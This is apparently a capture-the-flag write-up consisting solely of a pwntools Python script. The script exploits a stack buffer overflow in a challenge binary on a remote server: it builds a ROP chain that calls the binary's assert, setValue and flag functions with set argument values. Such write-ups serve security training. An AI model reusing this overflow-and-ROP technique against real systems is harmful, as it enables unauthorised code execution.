Rating:

```python
from pwn import *
context.log_level='debug'
# flag = 0x400891

# p = process('./chall')
p = remote('34.72.218.129','4444')
elf = ELF('./chall')
rop = ROP(elf)
pop_rsi_r15 =0x0000000000400a91
p.sendlineafter(">> ",'1')
# gdb.attach(p)

payload = 'A'*40
payload += p64(elf.sym['assert'])
payload += p64(rop.rdi[0])
payload += p64(0xDEADBEEF)
payload += p64(elf.sym['setValue'])
payload += p64(rop.rdi[0])
payload += p64(0xDEADC0DE)
payload += p64(pop_rsi_r15)
payload += p64(0xDEAD10CC)
payload += p64(0)
payload += p64(elf.sym['flag'])

p.sendlineafter('name:\n',payload)

p.interactive()
```